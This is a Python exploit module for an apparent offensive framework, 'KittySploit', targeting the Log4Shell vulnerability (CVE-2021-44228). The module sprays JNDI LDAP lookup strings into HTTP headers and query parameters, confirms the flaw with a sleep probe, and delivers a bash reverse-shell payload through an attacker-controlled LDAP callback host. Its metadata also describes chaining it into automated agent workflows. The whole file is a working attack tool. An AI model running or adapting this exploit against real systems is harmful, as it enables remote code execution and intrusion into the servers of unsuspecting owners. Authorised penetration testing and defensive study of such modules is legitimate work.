Log4Shell RCE (CVE-2021-44228)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Log4Shell JNDI injection RCE (CVE-2021-44228)."""

import random
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Log4Shell RCE (CVE-2021-44228)',
        'description': (
            'Exploits CVE-2021-44228 Log4j JNDI lookup injection via HTTP headers '
            'and query parameters. Uses sleep-based confirmation then delivers the '
            'configured reverse CMD payload through a user-supplied LDAP callback URL.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-44228'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-44228',
        ],
        'tags': ['log4j', 'log4shell', 'jndi', 'java', 'rce', 'kev', 'cve-2021-44228'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 6,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'jndi lookup'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/log4j_header_detect'],
            },
        },
    }

    ldap_host = OptString('', 'Attacker LDAP/RMI callback host for exploit delivery', required=True)
    ldap_port = OptPort(1389, 'LDAP callback port', required=False)
    inject_headers = OptBool(True, 'Inject JNDI into common HTTP headers', required=False)
    inject_params = OptBool(True, 'Inject JNDI into query parameters', required=False)
    sleep_seconds = OptInteger(5, 'Sleep probe duration for check()', required=False, advanced=True)

    HEADER_NAMES = (
        'User-Agent', 'X-Api-Version', 'X-Forwarded-For', 'Referer',
        'X-Client-IP', 'X-Remote-IP', 'X-Originating-IP', 'Accept-Language',
    )
    PARAM_NAMES = ('search', 'q', 'query', 'username', 'id', 'redirect')

    def _jndi(self, host: str, port: int, suffix: str = 'a') -> str:
        return f'${{jndi:ldap://{host}:{port}/{suffix}}}'

    def _sleep_jndi(self, host: str, port: int, seconds: int) -> str:
        return f'${{jndi:ldap://{host}:{port}/delay/{seconds}}}'

    def _probe_headers(self, token: str) -> dict:
        return {name: token for name in self.HEADER_NAMES}

    def _send_probe(self, token: str, use_headers: bool, use_params: bool):
        headers = self._probe_headers(token) if use_headers else {}
        params = {name: token for name in self.PARAM_NAMES} if use_params else None
        return self.http_request(
            method='GET',
            path=str(self.path or '/'),
            headers=headers,
            params=params,
            allow_redirects=False,
        )

    def _sleep_probe(self) -> bool:
        host = str(self.ldap_host or '').strip()
        if not host:
            return False
        port = int(self.ldap_port or 1389)
        sleep_secs = int(self.sleep_seconds or 5)
        token = self._sleep_jndi(host, port, sleep_secs)
        start = time.monotonic()
        self._send_probe(token, bool(self.inject_headers), bool(self.inject_params))
        elapsed = time.monotonic() - start
        return elapsed >= (sleep_secs - 1.0)

    def check(self):
        host = str(self.ldap_host or '').strip()
        if not host:
            return {'vulnerable': False, 'reason': 'Set ldap_host for callback-based check', 'confidence': 'low'}
        if self._sleep_probe():
            return {'vulnerable': True, 'reason': 'Log4j sleep-based JNDI probe confirmed', 'confidence': 'high'}
        token = self._jndi(host, int(self.ldap_port or 1389), 'check')
        r = self._send_probe(token, bool(self.inject_headers), bool(self.inject_params))
        body = (r.text or '').lower() if r else ''
        if any(m in body for m in ('jndi', 'lookup', 'log4j', 'namingexception')):
            return {'vulnerable': True, 'reason': 'Log4j/JNDI error reflection detected', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Log4Shell probe inconclusive (LDAP callback may still work)', 'confidence': 'low'}

    def run(self):
        host = str(self.ldap_host or '').strip()
        if not host:
            print_error('Set ldap_host to your JNDI/LDAP exploit server')
            return False
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False
        print_status('CVE-2021-44228 — Log4Shell')
        port = int(self.ldap_port or 1389)
        token = self._jndi(host, port, f'cmd/{random.randint(10000, 99999)}')
        print_status(f'Injecting JNDI callback ldap://{host}:{port}/ ...')
        self._send_probe(token, bool(self.inject_headers), bool(self.inject_params))
        print_success('JNDI payload injected — ensure LDAP server delivers the reverse shell')
        self.vulnerable()
        return True